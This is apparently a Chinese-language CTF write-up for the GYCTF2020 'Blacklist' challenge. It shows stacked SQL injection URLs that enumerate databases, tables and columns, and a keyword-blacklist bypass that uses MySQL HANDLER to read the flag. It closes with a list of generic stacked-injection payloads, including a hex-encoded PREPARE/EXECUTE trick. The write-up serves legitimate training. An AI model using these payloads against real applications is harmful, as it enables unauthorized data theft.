[GYCTF2020]Blacklist

8o1er9t發表於2024-07-30

[GYCTF2020]Blacklist

Step 1

輸入1,回顯:

array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

稍微嘗試注入:

/?inject=1'+union+select+1,2,3;#

回顯:

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

發現這些關鍵字被過濾了。

Step 2

發現可以堆疊注入:

/?inject=1';show databases;#

有回顯:

array(1) {
  [0]=>
  string(11) "ctftraining"
}

查表:

/?inject=1';show tables;#

回顯:

array(1) {
  [0]=>
  string(8) "FlagHere"
}

查列:

/?inject=1';show columns from FlagHere;#

回顯:

array(6) {
  [0]=>
  string(4) "flag"

但是不能用select去查詢,於是可以採取mysql的handler(handler命令也可以像select一樣進行查詢):

/?inject=1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;
array(1) {
  [0]=>
  string(42) "flag{~}"
}

堆疊注入

堆疊注入和平常的注入不同,平常型別的注入主要靠的已有的select(通常是)進行查詢操作,而堆疊就是利用分號進行隔斷,再進行新一行的sql命令。

主要原因

mysqli_multi_query($sql1,$sql2);

具體注入方法:

查庫
';show databases;
查表
';show tables;

';show columns from [table_name];

';select [column_name] from [table_name];

';SeT @a=0x73656c656374202a2066726f6d205b7461626c655f6e616d655d;prepare execsql from @a;execute execsql;

Handler命令

HANDLER命令是MySQL中的一種特殊命令,它允許使用者在底層與表的儲存引擎直接互動。透過HANDLER,你可以開啟一個表,然後逐行讀取資料,而不需要使用SELECT語句。這種底層的訪問方式在某些場景下可以提供更高的效能,尤其是在需要批次處理大量資料的情況下。

語法:

HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,…)
[ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name CLOSE

參考:MySQL HANDLER命令:一種獨特的表資料訪問方式